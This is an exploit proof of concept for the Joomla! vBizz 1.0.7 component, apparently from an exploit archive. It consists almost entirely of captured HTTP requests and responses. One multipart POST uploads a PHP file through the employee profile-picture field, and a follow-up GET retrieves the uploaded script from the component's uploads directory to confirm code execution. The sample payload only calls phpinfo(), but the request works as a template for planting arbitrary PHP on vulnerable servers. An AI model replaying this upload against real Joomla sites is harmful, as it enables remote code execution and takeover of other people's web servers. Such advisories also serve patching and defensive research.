Joomla! Component vBizz 1.0.7 - Remote Code Execution

# Exploit Title: Joomla! Component vBizz 1.0.7 - Remote Code Execution
# Dork: N/A
# Date: 2019-01-23
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://wdmtech.com/
# Software Link: https://extensions.joomla.org/extensions/extension/marketing/crm/vbizz/
# Version: 1.0.7
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/index.php?option=com_vbizz&view=employee
# 

POST /[PATH]/index.php?option=com_vbizz&view=employee HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/octet-stream
Content-Length: 3876
Referer: http://localhost/[PATH]/index.php?option=com_vbizz&view=employee&task=edit&cid[0]=60
Cookie: 84c9f7083d1056c3a8f06ae659d3db0a=9n717ao5gcu0hajds6faoqkbh3; joomla_user_state=logged_in
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-----------------------------21301381330395: undefined
Content-Disposition: form-data; name="profile_pic"; filename="phpinfo.php"
<?php
phpinfo();
?>
-----------------------------21301381330395
Content-Disposition: form-data; name="name"
test
-----------------------------21301381330395
Content-Disposition: form-data; name="username"
test
-----------------------------21301381330395
Content-Disposition: form-data; name="password"
-----------------------------21301381330395
Content-Disposition: form-data; name="user_role"
11
-----------------------------21301381330395
Content-Disposition: form-data; name="email"
[email protected]
-----------------------------21301381330395
Content-Disposition: form-data; name="empid"
1
-----------------------------21301381330395
Content-Disposition: form-data; name="department"
5
-----------------------------21301381330395
Content-Disposition: form-data; name="designation"
6
-----------------------------21301381330395
Content-Disposition: form-data; name="phone"
-----------------------------21301381330395
Content-Disposition: form-data; name="gender"
1
-----------------------------21301381330395
Content-Disposition: form-data; name="blood_group"
A+
-----------------------------21301381330395
Content-Disposition: form-data; name="dob"
-1-11-30
-----------------------------21301381330395
Content-Disposition: form-data; name="present_address"
-----------------------------21301381330395
Content-Disposition: form-data; name="permanent_address"
-----------------------------21301381330395
Content-Disposition: form-data; name="joining_date"
-1-11-30
-----------------------------21301381330395
Content-Disposition: form-data; name="work_type"
permanent
-----------------------------21301381330395
Content-Disposition: form-data; name="payment_type"
bank
-----------------------------21301381330395
Content-Disposition: form-data; name="pan"
-----------------------------21301381330395
Content-Disposition: form-data; name="pf_ac"
0
-----------------------------21301381330395
Content-Disposition: form-data; name="bank_ac"
0
-----------------------------21301381330395
Content-Disposition: form-data; name="bank_name"
-----------------------------21301381330395
Content-Disposition: form-data; name="bank_branch"
-----------------------------21301381330395
Content-Disposition: form-data; name="ifsc"
-----------------------------21301381330395
Content-Disposition: form-data; name="leaving_date"
-1-11-30
-----------------------------21301381330395
Content-Disposition: form-data; name="amount[]"
111.00
-----------------------------21301381330395
Content-Disposition: form-data; name="payid[]"
7
-----------------------------21301381330395
Content-Disposition: form-data; name="amount[]"
0.00
-----------------------------21301381330395
Content-Disposition: form-data; name="payid[]"
8
-----------------------------21301381330395
Content-Disposition: form-data; name="amount[]"
0.00
-----------------------------21301381330395
Content-Disposition: form-data; name="payid[]"
9
-----------------------------21301381330395
Content-Disposition: form-data; name="lastIncrement"
7
-----------------------------21301381330395
Content-Disposition: form-data; name="option"
com_vbizz
-----------------------------21301381330395
Content-Disposition: form-data; name="id"
60
-----------------------------21301381330395
Content-Disposition: form-data; name="userid"
60
-----------------------------21301381330395
Content-Disposition: form-data; name="task"

apply
-----------------------------21301381330395
Content-Disposition: form-data; name="view"
employee
-----------------------------21301381330395--
HTTP/1.1 303 See other
X-Powered-By: PHP/5.6.36
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: /index.php?option=com_vbizz&view=employee&task=edit&cid[0]=60
Last-Modified: Tue, 22 Jan 2019 21:21:40 GMT
Content-Type: text/html; charset=utf-8
Server: - Web acceleration by http://target/
X-Cacheable: YES
Content-Length: 28854
Accept-Ranges: bytes
Date: Tue, 22 Jan 2019 21:21:40 GMT
X-Varnish: 561081442
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: MISS

GET /components/com_vbizz/uploads/profile_pics/1548192100phpinfo.php HTTP/1.1
Host: vbizz-for-joomla.wdmtech.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/[PATH]/index.php?option=com_vbizz&view=employee&task=edit&cid[0]=60
Cookie: 84c9f7083d1056c3a8f06ae659d3db0a=9n717ao5gcu0hajds6faoqkbh3; joomla_user_state=logged_in
DNT: 1
Connection: keep-alive
HTTP/1.1 200 OK
X-Powered-By: PHP/5.6.36
Content-Type: text/html; charset=UTF-8
Server: - Web acceleration by http://target/
X-Cacheable: YES
Content-Length: 110286
Accept-Ranges: bytes
Date: Tue, 22 Jan 2019 21:21:44 GMT
X-Varnish: 561081464
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: MISS